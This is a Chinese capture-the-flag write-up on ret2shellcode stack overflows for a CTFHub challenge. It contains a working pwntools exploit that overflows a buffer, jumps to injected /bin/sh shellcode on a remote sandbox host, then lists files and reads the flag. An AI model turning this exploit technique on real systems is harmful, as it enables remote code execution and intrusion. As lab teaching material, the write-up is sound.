PWN入门-ret2shellcode-1
Mon Sep 16 2024
什么是ret2shellcode
ret2shellcode就是自己调用shellcode注入到内存里,利用栈溢出的方式重新写入跳转地址,让进程跳转到shellcode的内存里面去
解题
本题出处为CTFHub技能数上的ret2shellcode
checksec
SH
12345678910
checksec --file ret2shellcode
[*] '/pwn/ret2shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
发现是64位的程序
IDA
直接打开IDA-64进行查看
这里可以看到buf的真实大小只有两个字节,但是stdin可以读取0x400个字节到buf,可以考虑在此处进行栈溢出
这里可以看到buf到栈底的距离是0x10,在加上栈底寄存器rbp有8个字节,就可以算出我们只需要在(0x10 + 0x08)的地址上写入,就可以完成栈溢出
现在我们只需要把shellcode写入到栈上,在让它跳转到栈上执行就可以
运行程序
BASH
1234
./ret2shellcode
Welcome to CTFHub ret2shellcode!
What is it : [0x7ffdada7a040] ?
Input someting :
可以看到输出了一个栈上的buf的地址,可以根据此地址判断shellcode的偏移量
编写exp
PYTHON
1234567891011121314
from pwn import *
context.log_level="debug" # 日志等级改为debug
shellcode=asm(shellcraft.sh()) #生成用于开启shell的shellcode是使用asm把汇编文本转成机器码
print(shellcode) # 打印shellcode
print(f'len:{len(shellcode)}') # 打印shellcode的长度 这里的shellcode长度为44 大于buf地址的0x18 所以返回地址就不能紧跟着放在0x18 而是放在(0x18+0x8)下确保不会被覆盖
#io=process("./ret2shellcode") # 本地连接
io=remote("challenge-62a24a8f183cefc0.sandbox.ctfhub.com",38729) # 远程连接
io.recvuntil("0x") # 读取直到输出0x
buf_addr=int(io.recvuntil(']',True),16) # 读取并解析紧跟在"0x"后面的地址,直到]字符。该地址是以16进制表示的,所以通过int()转化为整数
off=0x18 + 0x8 # 偏移量计算,包含栈缓冲区和返回地址 ret有8个字节
shellcode_addr=buf_addr+off # 计算shellcode在缓冲区中的地址
payload=b'a' * 0x18 + p64(shellcode_addr) + shellcode # 攻击本体
io.sendline(payload) # 发送payload
io.interactive() # 与远程服务器进行交互,尝试获得shell
执行python脚本
SH
1234567891011121314151617
[DEBUG] Sent 0x4d bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 10 04 01 39 fe 7f 00 00 │aaaa│aaaa│···9│····│
00000020 6a 68 68 2f 2f 2f 73 68 2f 62 69 6e 89 e3 68 01 │jhh/│//sh│/bin│··h·│
00000030 01 01 01 81 34 24 72 69 01 01 31 c9 51 6a 04 59 │····│4$ri│··1·│Qj·Y│
00000040 01 e1 51 89 e1 31 d2 6a 0b 58 cd 80 0a │··Q·│·1·j│·X··│·│
0000004d
[*] Switching to interactive mode
?
Input someting :
[*] Got EOF while reading in interactive
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
$
[*] Interrupted
[*] Closed connection to challenge-62a24a8f183cefc0.sandbox.ctfhub.com port 38729
执行结束之后发现并没有获取到shell权限
这是因为x86-64架构引入了一个新的指令syscall,int 80虽然可以用,但是可能会有兼容性问题,所以需要使用x86-68cpu指令集
修改脚本
PYTHON
123456789101112131415
from pwn import *
context.arch = 'x86-64' # 设置CPU架构为 x86-64
context.log_level="debug"
shellcode=asm(shellcraft.sh())
print(shellcode)
print(f'len:{len(shellcode)}')
#io=process("./ret2shellcode")
io=remote("challenge-62a24a8f183cefc0.sandbox.ctfhub.com",38729)
io.recvuntil("0x")
buf_addr=int(io.recvuntil(']',True),16)
off=0x18 + 0x8
shellcode_addr=buf_addr+off
payload=b'a' * 0x18 + p64(shellcode_addr) + shellcode
io.sendline(payload)
io.interactive()
再次执行python脚本
SH
1234567891011121314151617181920212223242526272829
[DEBUG] Sent 0x51 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 c0 74 b9 34 fe 7f 00 00 │aaaa│aaaa│·t·4│····│
00000020 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│
00000030 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│
00000040 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│
00000050 0a │·│
00000051
[*] Switching to interactive mode
?
Input someting :
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x21 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'pwn\n'
bin
dev
flag
lib
lib32
lib64
pwn
获取flag
SH
12345678
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x21 bytes:
b'ctfhub{b4968146e4ebf4415dfa3234}\n'
ctfhub{b4968146e4ebf4415dfa3234}
[*] Got EOF while reading in interactive
$
成功
Preview: